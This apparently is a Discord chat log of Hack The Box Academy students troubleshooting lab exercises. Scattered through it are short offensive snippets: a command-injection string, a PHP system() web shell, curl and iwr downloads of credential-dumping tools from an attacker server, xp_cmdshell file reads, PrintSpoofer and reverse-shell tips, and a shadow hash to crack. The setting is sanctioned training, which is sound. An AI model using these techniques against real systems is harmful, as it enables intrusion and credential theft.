But seriously, messaging support/post in erratum

#

I suffer enough, thanks

#

Thanks I'm cured

manic onyx
#

Yes I did

#

I tried other wrappers but didn't have any success

#

And I tried the filter chain to get RCE which is definitely out of scope for the module

#

Alright thanks, been trying to get around the extension appending at the end but nothing yet

#

Nevermind, I'm dumb

sleek moss
#

when i run lasagne

#

it just deletes itself after it finds everything how to fix?

next bronze
#

garfield probably ate it

marsh echo
#

I don't understand why the commands don't work on the imap server :/ to find the admin email

fathom pendant
#

1 <command> <args>

#

If you search this channel you'll find a few imap articles regarding commands

marsh echo
fathom pendant
#

Try resetting the target

marsh echo
#

i ressetting but nothing :/

next bronze
#

my notes says you need to use A1 as a prefix

marsh echo
#

I connected with openssl s_client -connect 10.129.211.60:993

marsh echo
next bronze
fathom pendant
fathom pendant
next bronze
fathom pendant
#

That's likely why it's failing if you're not logged in as a user

next bronze
#

I thought there's a different error message if you aren't logged in

marsh echo
#

ok my bad 🙂

next bronze
#

oh so you do need to use A1 for this thinkw

fathom pendant
#

Their first command had user:password

#

Imap does user[space]password

next bronze
#

right

fathom pendant
#

Imap just requires any prefix

#

Afaik

marsh echo
#

yess I didn't notice :/

fathom pendant
#

It happens

full aspen
#

Did you ever figure this out, I'm stuck with the same problem

marsh echo
tidal kelp
#

I can DM me

next bronze
rustic sage
#

I dislike how the SSTI part of the SS module goes from "hey look, 7*7 is fun" right into
"Register a function as a filter callback via registerUndefinedFilterCallback
Invoke _self.env.getFilter() to execute the function we have just registered".
It's an insane increase in difficulty.

latent sigil
#

hi, i have a problem in the Logrotate section of the Linux Privilege Escalation module, i do all the steps required however, i do not get the "done" message at the end of the command, is there anyone who could help me? Ive tried editing the access.log file manually for it to rotate, having it copy the flag or spawning a reverse shell.

#

ive compiled it on the victims machine and ive tried multiple payloads, all with no success

#

nvm

#

wrong command

#

||take off the -c and -s from the exploit command and it should work||

ebon coral
#

Just want to confirm that the template referred to in the Documentation & Reporting Practice Lab is the sample report that can be downloaded from the resources? Or was I supposed to find a template from the testing VM (I only saw the obsidian notebook)?

#

Also, making reports seems intimidating and challenging 😅

fathom pendant
exotic bison
#

What does the tilde(`) do?

fathom pendant
#

akin to \ escaping

fathom pendant
exotic bison
#

ok i'll post there from now on then

exotic bison
#

i have no idea what command substituion is either

fathom pendant
#

similar

#

actually i'm slightly wrong

#

`command` is akin to $(command)

exotic bison
#

So it is something called inline execution?

fathom pendant
#

basically

#

have you ever done a command like for x in $(cat file) type deal? it's that

exotic bison
#

I didn't do too much bash scripting actually :/

fathom pendant
#

using backticks is considered deprecated

#

i mean it's not really bash scripting

#

i just used an example

exotic bison
#

i see

fathom pendant
#

but for the most part it's injecting a command in the middle of another one

exotic bison
#

yeah, i get the idea. thanks

fathom pendant
#

substituting a portion of it for the output of that command

#

usually used with some for loops for simple automation scripts to run through a list

#

but can be useful for other instances

fathom pendant
exotic bison
muted kelp
#

hello"); $(ls)

#

im a pro hacker btw

fathom pendant
exotic bison
fathom pendant
exotic bison
#

btw, can you guys give me some command injection machine links?

#

I am ravaging google but all they give is some writeups and walkthroughs

next bronze
#

you can do the machines in the walkthrough

#

no machine is only command injection, cozyhosting has it in the attack chain, the others I could think of is probably too advanced

exotic bison
#

why are there hardly any ctf on command inj?

fathom pendant
#

Offsec Proving grounds Shakabrah has it

fathom pendant
exotic bison
#

so it is not very important i guess?

#

because if I googel "sqli" or "xss" there are millions of ctfs on them

fathom pendant
#

it's important to know; but it's not a central part of it

#

there's a million different types of sqli and xss vulns

next bronze
#

because there isn't much variation for just command injections, you either figure it out or you don't

fathom pendant
#

command inject is just "oh i can run command in this"

exotic bison
#

i guess ill skip command inj practice. it should be better to move on to other topics. what do ya say?

fathom pendant
#

¯_(ツ)_/¯

exotic bison
fathom pendant
#

there's a module that includes it i believe but you're also chatting in the academy modules channel about it

exotic bison
fathom pendant
#

acquire money

#

¯_(ツ)_/¯

#

if you participate in the seasons you can earn some academy vouchers and stuff

next bronze
#

student is only $8 a month

next bronze
exotic bison
brittle arch
#

Can I chat to anybody about the AD Enumeration Skills Check - Part 2? I'm stuck on getting the Administrator flag on MS01

next bronze
brittle arch
next bronze
#

probably, dump the usual things

brittle arch
plucky latch
#

Y’all ever get so involved with a lab that you lose track of time, 3 hours past my bedtime but I finished HTBA Password Attacks medium lol, harder than I anticipated

tulip dragon
#

begininng of main platform

#

😇

fathom pendant
stone pasture
#

I am stuck at Linux Fundamental Questions regarding How many Partition Exists in PwnBox I tried fdisk -l mount and stuff but I can't seem to get it

next bronze
stone pasture
next bronze
#

count it

stone pasture
#

How to count I mean I tried from 1-10 but it didn't work either

kindred jewel
#

If I move on from a module to the next section, does the target box die? I'm doing a password spray that is taking eternity and would like to move on.

next bronze
next bronze
kindred jewel
#

too ez. Thanks, pity all the next modules have targets. Thanks for this.

stone pasture
next bronze
#

the format is gven in the question, a single number

stone pasture
#

I randomly got the answer but don't know the why I can count to 2 but what is the other one

next bronze
#

you are running the command in pwnbox?

stone pasture
next bronze
#

I can clearly see the list of partitions which gives the answer 🤷‍♂️

sleek moss
#
  • 0 Examine the target and find out the password of the user Will. Then, submit the password as the answer. can someone help i mutated kiras psasword for ssh but it no eotk
opal iris
#

hi guys how i earn cubes

opal iris
#

i have only 20 cubes at this time so how i unlock tier2 modules

opal iris
sleek moss
#

why

#

how do u not have money

sleek moss
fathom pendant
opal iris
autumn pilot
#

compete in ctfs that have prizes related to hackthebox

fathom pendant
#

^

opal iris
autumn pilot
#

no idea, you will have to look around

sleek moss
#

ftp didnt work either

next bronze
opal iris
#

please anyone guide my what i do.

fathom pendant
#

Kira is different from kira

#

use lowercase

#

for the name

sleek moss
#

o i c

#

dankeschone

#

do ftp and ssh share same password?

#

why doese ftp bruteforce work for ssh too?

#

if i find ftp password for a user and used ti for ssh it works why?

kindred jewel
#

Maybe @fathom pendant will do the module for you so you don't have to try?

sleek moss
#

i did it

#

im inside

fathom pendant
sleek moss
#

oh i c danke

stone pasture
fathom pendant
stone pasture
#

I have vda and vdb but can't find vdaX

fathom pendant
#

(X is a sub)

next bronze
#

there's also no vdb in pwnbox, again, are you running the command in pwnbox

full nimbus
fathom pendant
#

(common thing to happen)

stone pasture
full nimbus
#

Hey I don't know if it's the right place for such feedback, but there's a lot of places in the AD Course where it states "In this section, we will move back and forth between a Windows and Linux attack host as we work through the various examples. You can spawn the hosts for this section at the end of this section and RDP into the MS01 Windows attack host. For the portions of this section that require interaction from a Linux host, you can open a PowerShell console on MS01 and SSH to 172.16.5.225 with the credentials htb-student:HTB_@cademy_stdnt!." In fact that linux box also have an IP that is reachable via VPN, so everytime I have to RDP to the windows box, then SSH to the parrot vm, check its IP, and then I can SSH directly to parrot box. Would be so much easy to just print both IPs in the page when you spawn the vm

fathom pendant
#

#858470491676737536 fits better (also best to specify AD Enum and Attacks as there's a couple "AD" courses

sleek moss
#

guys any tips for the linux password attacks? i tried to transfer firefox decrypt and lazagne but none of them work i checked the hist too

sleek moss
#

lazagne.exe

#

or firefox decrypt i transfer it through curl but they dont execute

next bronze
#

you tried to run an exe on linux?

sleek moss
#

yeap

full nimbus
#

I mean if you want help, give specifiic error messages / codes etc

#

does not work won't help 🙂

sleek moss
#

curl -o ./firefoxs.py http://10.10.15.16/firefox_decrypt.py
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 335 100 335 0 0 1735 0 --:--:-- --:--:-- --:--:-- 1744
kira@nix01:~$ chmod +x firefoxs.py
kira@nix01:~$ python3 firefoxs.py
File "firefoxs.py", line 1
<!DOCTYPE HTML>
^
SyntaxError: invalid syntax

full nimbus
#

as you see " <!DOCTYPE HTML>"you got an html file

next bronze
full nimbus
#

not python file... Looks like your url is wrong somehow, or at least throwing an errror

sleek moss
#

i c

#

ok danke

full nimbus
#

Also personally, if you just need to copy a single python file, copy/pasting over ssh might be the easiest way 😄

sleek moss
#

ah i c danke

#

also any tips for Credential Hunting in Linux im inside the ssh as kira

fathom pendant
#

wget is often better for pulling files

sleek moss
#

but i cant find nothing...

fathom pendant
sleek moss
#

but it doesnt work

fathom pendant
#

as you saw curl got you an html file for w/e reason

sleek moss
#

nvm

#

i did that raw .py kira@nix01:~$ chmod +x firef.py
kira@nix01:~$ python3 firef.py
Traceback (most recent call last):
File "firef.py", line 46, in <module>
PWStore = list[dict[str, str]]
TypeError: 'type' object is not subscriptable

#

i transfer it the target box right

#

bruh i had to do python3.9

#

smh

full nimbus
#

You likely need to give the file as argument to the pyhon with --profile args

sleek moss
#

wat dat mean? i used python3.9 and it worked and i got flag

full nimbus
#

but also I was about to mention check your python version, this line PWStore = list[dict[str, str]]is declarative type of varaible, its available only on recent python versions

sleek moss
#

o i c

full nimbus
#

from this doc though seems supported since 3.5 https://docs.python.org/3/library/typing.html so that python version must have been very old 😄

fathom pendant
#

i believe the default python env in the labs is like 2.x

#

but has 3.9 installed

full nimbus
fathom pendant
#

the labs are also just clunky

kindred jewel
#

the labs are needlessly clunky for sure

#

especially some of the "foothold" hosts

stiff parrot
#

#modules Need help on HTB Academy Crest Pathway. Currently stuck on:
Analyzing Evil With Sysmon & Event Logs - Question 1
"Replicate the DLL hijacking attack described in this section and provide the SHA256 hash of the malicious WININET.dll as your answer. "C:\Tools\Sysmon" and "C:\Tools\Reflective DLLInjection" on the spawned target contain everything you need."

I have completed the following:

  • Sysmon Install
  • Changed the config file using Notepad to "Exclude"
  • Updated the config file
  • Changed the required dll file to what the question asks
  • Moved both calc.exe and the changed dll file to desktop
#

.... The message box still does not appear?

#

Any help would be greatly appreciated!

fathom pendant
#

Google

acoustic owl
#

With my computer 🤷

next bronze
#

with my samsung smart fridge

fathom pendant
lucid sluice
#

Installing gentoo is must for a beginner hacker

#

Yes sir

acoustic owl
#

@rustic sage but you are in the wrong channel for such questions. Such questions are better off in #general.
If you don't have access, read and follow #welcome

tough prawn
#

Is there any section in the CBBH that discusses how to bypass the removal of < > from the server-side?

acoustic owl
tough prawn
#

Im asking if something like this or similar is mentioned in the CBBH modules?

fathom pendant
#

i mean it feels like a very broad (and kinda odd question) what do you mean removal of <>

#

like are you referring to a specific type of attack?

#

are you referring to removing them from like the webpage?

tough prawn
#

the server side removes any thing between the brackets directly

fathom pendant
#

so you mean bypassing code sanitization?

#

i.e. injection or something like that

tough prawn
#

yup

fathom pendant
#

using like http encoding

#

¯_(ツ)_/¯

stiff parrot
rustic sage
#

whats the recommended path, do i stick with academy or visit the 2 other sites first

tough prawn
acoustic owl
upper ruin
next bronze
#

what are the 2 other sites

rustic sage
#

main and ctf

next bronze
#

there's nothing stopping you from doing all 3 at once, academy is more beginner friendly

ivory jasper
#

Hello hackers. I have 2 questions regarding nmap.

  1. "It is also useful when the target host has a personal firewall that drops incoming packets but allows outgoing packets. In this case, a Connect scan can bypass the firewall and accurately determine the state of the target ports. " -- What does it talk about? Since the firewall drops an incoming packet, how come there is an corresponding outgoing packet?? And compared with a SYN scan, if the state of the target ports can be determined by a Connect scan, it should be able to be determined by a SYN scan isn't it?

  2. "However, it is important to note that the Connect scan is slower than other types of scans because it requires the scanner to wait for a response from the target after each packet it sends, which could take some time if the target is busy or unresponsive. " -- I don't understand why -sT, a connect scan takes longer than SYN scan. "It requires the scanner to wait for a response from the target" so does SYN scan! fingerguns

Any thought / answer is appreciated!

lunar urchin
#

Hi, I have a problem to connect by RDP to a windows machine in labs. It’s crash every minutes. Do you have any idea how I can fix this problem ? Thanks

autumn pilot
#

reach out to support

next bronze
# ivory jasper Hello hackers. I have 2 questions regarding nmap. 1. "It is also useful when t...

https://nmap.org/book/man-port-scanning-techniques.html

This technique is often referred to as half-open scanning, because you don't open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and then wait for a response.
the tcp handshake is never completed for syn scans, so it's faster. as for the other question, I guess if some packets do get through, the full tcp connection can be more accurate

chrome lotus
#

Hey! Can anyone give me some insight on the "Password Attacks Lab - Hard" Skills Assessment? There is a BitLocker encrypted .vhd, which I have gotten open on Linux using qemu-util and cryptsetup. The modules try to give you the necessary tools for the job, but I could not figure out a way to get this thing mounted without external tools not mentioned on the module.

Just making sure I'm not missing some super simple, easy way. Mounting required Admin rights on the Windows target machine, so could not do that, as suggested on the module.

#

I have solved the assessment itself, but I'm curious to learn.

next bronze
#

mount it in a windows vm

chrome lotus
#

Guess I'll have to set one up for future modules for convenience. Thanks!

next bronze
chrome lotus
#

The modules are great though. Really enjoying the CPTS path thus far

wanton timber
#

anyone ?

full nimbus
#

start by describing your exact issue maybe 🙂

wanton timber
#

@full nimbus

full nimbus
#

I haven't donee this module, but generally speaking adding the commandyou used, the tool, etc will help you to get answers 😉

wanton timber
# full nimbus I haven't donee this module, but generally speaking adding the commandyou used, ...
  1. I generate a paylaod based on the module
  2. Create a temp HTTP server to host my payload and to monitor the request
  3. Send the URL payload to the victim

receives and error "Issue in sending URL!"

P.S I tested the http server without yet sending the payload to the victim and it works, I can see the request contains test creds, this is to make sure that there's no error on the attacker server

but if i send it to url /phishing/send , then i received the error.

#

Anyone experienced the same error ? how did you able to resolve it ? TIA

I also tried using URL shortener like bitly but still the same error

#

community is not active 😐

plain coral
next bronze
#

the first part of your url should start with http://<IP>/phishing/index.php

wanton timber
wanton timber
next bronze
#

it should be the target ip, not your own

wanton timber
#

wait how did i hide it, pipe not working.

#

@next bronze is my whole payload correct ?

I tried sending it both URL encoded and not but still have the same error

next bronze
#

reset

wanton timber
next bronze
#

ah wait you missed something, compare your payload with the example

wanton timber
plain coral
#

Looks like syntax for the action attribute in the form element is incorrect. It should be enclosed in quotes. For example action="http://<attacker-server>/". the browser may not parse the URL correctly

wanton timber
wanton timber
next bronze
#

try your own payload, enter something to make sure it works, then use the url from the browser address bar which will be nicely encoded for you

wanton timber
#

@plain coral is correct, it should be enclosed with quotes

#

the reason i received error in my first try is the quote was not url encoded

#

Thank you @next bronze and @plain coral for the help, I appreciate the respones! 🙂

I'll be removing the payload that I paste to avoid spoiler.

Thank you! 🙂

next bronze
#

it works without the quotes

wanton timber
#

Anyways, thank you so much!

kind thunder
#

Anyone able to give me a nudge on "Command Injections" skills assessment? I can't seem to find the injection point.

magic salmon
#

Hey ! I have a little problem on the footprinting easy lab, may someone could help me please ? 🙂

oblique spoke
#

Hi! im on AD Enumeration & Attacks - Skills Assessment Part II and got a bit lost on the queston 7. Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host. I was able to log in with the user that i found before using mssqlclient and look aroiund. I gathered some info, got the hash for SQL01$ user and got a reverse shell with nt service\mssql$sqlexpress but dont know where to go from here. I wasnt able to log in with SQL01 using PtH. What am i missing?

rancid prairie
#

hello, i just finished the skill assessment of "Security Monitoring & SIEM Fundamentals" but i am still perplexed about the "why" in some of the questions ,wouldn't you know of a video or a frum thread with some explanations

magic salmon
full nimbus
oblique spoke
#

when i run xp_cmdshell i am at this account
PS C:> whoami
nt service\mssql$sqlexpress

#

i have a reverseshell with xp_cmdshell

full nimbus
#

xp_cmdshell "type c:\users\administrator\desktop\flag.txtI meant sth like that

oblique spoke
full nimbus
#

You might need to enable this first, with impacket msqlclient you can do enable_xp_cmdshell

#

if you are using native sql client mightj be another way

#

can also be this is legit blocked 🙂

oblique spoke
full nimbus
#

you didn't closed the " in the command. Not usre it would make a diff. Othewise I dunno 🙂

oblique spoke
#

no diff but thx

full nimbus
#

I've got a few sections left before doing the assessments for that same track 🙂

full nimbus
#

@wanton timber have you open the port in the firewall of your host ? Sometime it's stupid as that 🙂

oblique spoke
#

i already tried but here is an output for you

#

the thing is that with this user that i logged in i am anready a sysuser in the mssqldb but when i am trying to run xp_cmd i am just a service account, i need to escalate some priv but idk how

lusty thicket
full nimbus
analog hatch
#

I've seen some chat about the "KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP" error on the Windows Attack & Defense > PKI-ESC1 module when running the command after copying back the cert.pfx to WS001, but is there an actual fix? Im using pwnbox through eu-academy-1 and then RDP to kali and then RDP to WS001. This whole module has been shockingly bad when it comes to using RDP. I get constant disconnects, errors when connecting to WS001 via RDP which arent fixed for days and then they break again within a day. I dont think i've properly been able to learn much in this module due to the constant interruptions

oblique spoke
analog dock
#

Enable cmdshell

#

And use printspoofer

#

For q7 that is

fluid basin
#

I found the /etc/krb5.keytab file, tried to utilize it with kinit to impersonate the Linux machine, what am i doing wrong?

supple gorge
fathom pendant
#

No

#

Contact fb support

analog hatch
supple gorge
analog hatch
supple gorge
analog hatch
remote kraken
#

Hi everyone so I was just doing the Linux fundamental and they ask what is the path to the email of the user. I do not understand why the end of the path differs from what the command whoami gives you? Why is it just the username as the one that you have been connected through SSH and not the current username

stone pasture
#

Can anyone suggest me a networking course or something like that to build my networking foundation especially related to cybersecurity

#

I have a basic idea about it

quick kayak
#

Hi. Someone could help me with the hacking wordpress module? TBH I´m beginner and idk even if I´ve
to ask here

full nimbus
#

@stone pasture if you are looking for networking security, Cisco CCNP Security is good

#

or CCNA Security to start with

acoustic owl
stone pasture
#

I have some basic idea about networking But want to know and explore deep from cybersecurity pov

full nimbus
#

Networking Security is quite different from other Cybersecurity fields, but I think Cisco's CCNA / CCNP security certs are good, at least was relevant when I did it 10y ago

stone pasture
#

Lmao ,😂 I just want to get started to know networking from cybersecurity pov not to specialize in network security not yet atleast

full nimbus
#

ah I thought you wanted to learn Networking Sec 🙂

#

so pure networking you can check Cisco's CCNA

#

there's a few topics that are vendor specific, like CLI & stuff, but all concepts & techs should be explained as well

quick kayak
lusty thicket
#

not that difficult

fathom pendant
quick kayak
lusty thicket
oblique spoke
analog dock
oblique spoke
#

but how am i gonna transfer that

#

god

analog dock
#

You have xp_cmdshell

full nimbus
#

Hey, I'm trying to do the AD AD Enum & Attacks skill 1, stuck pretty much at the beginning, i'm trying to copy tools to the host using PS C:\windows\system32\inetsrv> iwr http://10.10.16.75:8000/mimikatz.exe -OutFile c:\tmp\mimikatz.exe\ however the connection is reset. I'm suspecting it's due to windows defender, but all commands i tried to check status and / or disable are giving no output (like sc query windefend, Get-MpComputerStatus) ... I'd take a small insight on this one

upper ruin
#

Connect via RDP with the Administrator account and submit the flag.txt as you answer.

Attacking Common Services.

I tried to add DisableRestrictedAdmin in order to use pth, didn't work.
Tried to decrypt the admin hash, nothing worked.
Tried to see if password reusage is a thing here, nope it isn't.

#

Any tips? Does it have to do smth with that crowbar.

analog dock
#

To upgrade my shell

#

But 1 and 2 can be done without that

full nimbus
#

I have a reverse shell, but just a classic nc one 🙂

analog dock
#

So what exactly are you stuck on

#

1 literally tells you what to do

#

And 2 is just a matter of following the section

full nimbus
#

I'm trying to kerberoast, I've tried usinng New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL01.inlanefreight.local:1433" however getting error + FullyQualifiedErrorId : TypeNotFound,Microsoft.PowerShell.Commands.NewObjectCommand. Then I tried to copy rubeus or mimikatz to the machine, but during transfer,, the connection gets reset, which I believe is becuase of windows defender

#

but I was not able to verify this thru PS either.

#

And to use impacket, I guess I would need to have connectivity to the DC which I don't

#

there's probably something stupid I'm overlookign

sleek moss
#

tips for Passwd, Shadow & Opasswd in passowrd atack

full nimbus
analog dock
full nimbus
#

Sorry, in fact I was looking at question 3 🙂

analog dock
#

Gave me the answer to the 2nd question

sleek moss
#

or how do i transfer lasagne and make it work on a linux target?

analog dock
#

Question 3 upload mimikatz with the web shell, that’s the easiest

#

And then I upgraded the web shell with the msfvenom payload I mentioned

#

After that it was just a matter of following the section again

magic salmon
#

Hey ! I've a question for the FootPrinting Lab - Medium, I have the password of 'sa' and i tried to connect (rdp protocol) with this command : xfreerdp /u:[The User] /p:[The password] /v:[IP] and I obtained : failed connected. Is it normal ?

full nimbus
magic salmon
#

it is the password you find in a file 'imp-----.txt'

#

'sa:-------------' (this is the format of the file)

#

Oh you are french x)

winged hedge
#

English only sir.

full nimbus
analog dock
full nimbus
digital tartan
#

Need a pointer on this "Extend the visualization we created or the "User added or removed from a local group" visualization, if it is available, and enter the common date on which all returned events took place as your answer. Answer format: 20XX-0X-0X"- dont seem to understand what they want. All dates I have entered have been wrong. Many thanks

sleek moss
#

why doesnt hashcat work root:$6$XePuRx/4eO0WuuPS$a0t5vIuIrBDFx1LyxAozOu.cVaww01u.6dSvct8AYVVI6ClJmY8ZZuPDP7IoXRJhYz4U8.DJUlilUw2EfqhXg.:19032:0:99999:7:::

#

and then i also tried $6$XePuRx/4eO0WuuPS$a0t5vIuIrBDFx1LyxAozOu.cVaww01u.6dSvct8AYVVI6ClJmY8ZZuPDP7IoXRJhYz4U8.DJUlilUw2EfqhXg.

fast onyx
#

I think there is a bug on the third question of the Fundamentals of Active Directory Module in the Active Directory Structure section

jolly cradle
#

What is hashcat spitting out or saying @sleek moss

#

What's your command (attack type, hash type, rules ,etc)

sleek moss
#

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

  • Device #1: cpu-sandybridge-AMD Ryzen 7 7735U with Radeon Graphics, 6301/12666 MB (2048 MB allocatable), 5MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashfile 'crachfor' on line 1 ($6$XeP...PDP7IoXRJhYz4U8.DJUlilUw2EfqhXg.): Separator unmatched
No hashes loaded.

Started: Thu Jan 11 15:42:47 2024
Stopped: Thu Jan 11 15:42:47 2024

#

hashcat -m 1700 -a 0 crachfor /usr/share/wordlists/rockyou.txt -o cra $6$XePuRx/4eO0WuuPS$a0t5vIuIrBDFx1LyxAozOu.cVaww01u.6dSvct8AYVVI6ClJmY8ZZuPDP7IoXRJhYz4U8.DJUlilUw2EfqhXg
.

#

that the hash

#

i 0 idea why it dont crack

analog dock
sleek moss
#

sha512

analog dock
#

If I see $6$ I think 1800

sleek moss
#

it $6

analog dock
#

I see it is

sleek moss
#

brij

analog dock
#

So I’m asking you why do you think it’s 1700

sleek moss
#

u are right

fathom pendant
#

^ and likely the module section gives more clarity

sleek moss
#

i googled it and it sa

#

1700 SHA2-512

#

the module just say $6$ – SHA-512

#

danke

analog dock
full nimbus
#

one last thing @analog dock , is there a better way to access other devices in the Skill1 lab than going all the time onn the Web01 server ? Sth like chisel maybe ?

full nimbus
#

thanks, I'll have a look 🙂

oblique spoke
analog dock
oblique spoke
analog dock
#

And download the files from your http server, and output them there

oblique spoke
#

wow

#

i didnt know i can do that

sleek moss
#

anyone know how long the hashcat takes or shud i use a shorter wordlist for linux attack password shadow

analog dock
#

What module or section

sleek moss
#

Passwd, Shadow & Opasswd password attacks

#

i used the password.list ad rockyou

full nimbus
#

hashcat usually takes up to 1 or 2 mn for me

#

with 4vcpu

analog dock
oblique spoke
oblique spoke
#

idk feel snot right 😄

analog dock
#

As far as I know, it is

oblique spoke
#

digging thorugh multiple nc reverse shells

analog dock
#

Why multiple reverse nc shells

oblique spoke
#

bc first i was not able to properly add the commands via xp_cmdshell so i made a reverse on that one

#

then with the prinspoofer

analog dock
#

I just did it through cmdshell

#

Upload nc and pspoofer with that

oblique spoke
#

for me it didnt ate the commands

#

how did you uploaded the files?

analog dock
#

Then run pspoofer and give yourself a nc revshell

analog dock
oblique spoke
#

i uplodaed from my computer to the attacket machina via pythom http.server

#

and the same way from the attacker machine to the target

analog dock
oblique spoke
#

i used invoce client

#

i mean invoke webrequest

analog dock
#

This is what worked for me

oblique spoke
#

interesting

#

were you able to download tools from the attacker machine?

#

is there a way to copy tools from my computer to the target via proxychain?

analog dock
#

I use ligolo

oblique spoke
analog dock
#

Try my command 🤷🏼‍♂️

oblique spoke
# analog dock

probably worked as well its just download from the attacker to the target

marsh echo
buoyant escarp
#

and dont grep

buoyant escarp
#

u want everything, or grep HTB

marsh echo
#

but in real life, how can you see the scripts being executed in this type of case?

#

you know ?

buoyant escarp
#

you see it has been executed as this is kinda the log / output, and you see /flag.sh has been run

limber river
marsh echo
#

I get it thanks a lot 😉

sick parrot
#

I'm doing the getting started module and i keep getting this error

limber river
sick parrot
#

fairly certain.

marsh echo
# sick parrot

did you save your shell in the plug-in before doing the curl? because it's your payload that needs to be curled in this path to get your shell.

sick parrot
#

i saved the php code like it said and uploaded

limber river
marsh echo
#

don't forget to listen with nc before use curl

sick parrot
#

i do see the image file

limber river
marsh echo
#

image.php *

buoyant escarp
#

are there any file type filters in place?

limber river
limber river
# sick parrot

do it again , and make sure to use the right extension

sick parrot
#

nope same error

#

<?php system('id'); ?> that's what i was supposed to upload am i missing something?

limber river
buoyant escarp
#

well thats for quick check if rce works

sick parrot
#

i named it myphp

limber river
sick parrot
#

i tried using that as the path instead of image.php and still didn't work

limber river
#

the extension it's very important

sick parrot
#

still same issue

thorn urchin
#

did you name it myphp or did you name it myphp.php

limber river
sick parrot
#

i tried with and without .php

thorn urchin
#

without 100% wont work

limber river
thorn urchin
#

now did you actually upload it to that path

sick parrot
limber river
twin stirrup
#

For somone who has done the Documentation and reporting lab can I ask a question about the KRBtgt hash?

sick parrot
thorn urchin
sick parrot
#

yes and got all the error lines like it said

thorn urchin
#

show me screenshots of how you uploaded

sick parrot
limber river
fathom pendant
#

Also your php code is bad

#

You put a quote outside the closing parenthesis instead of in it

next bronze
sick parrot
#

i changed the path to image.php now it doesn't return anything when i curl

fathom pendant
limber river
sick parrot
#

got it! thanks yall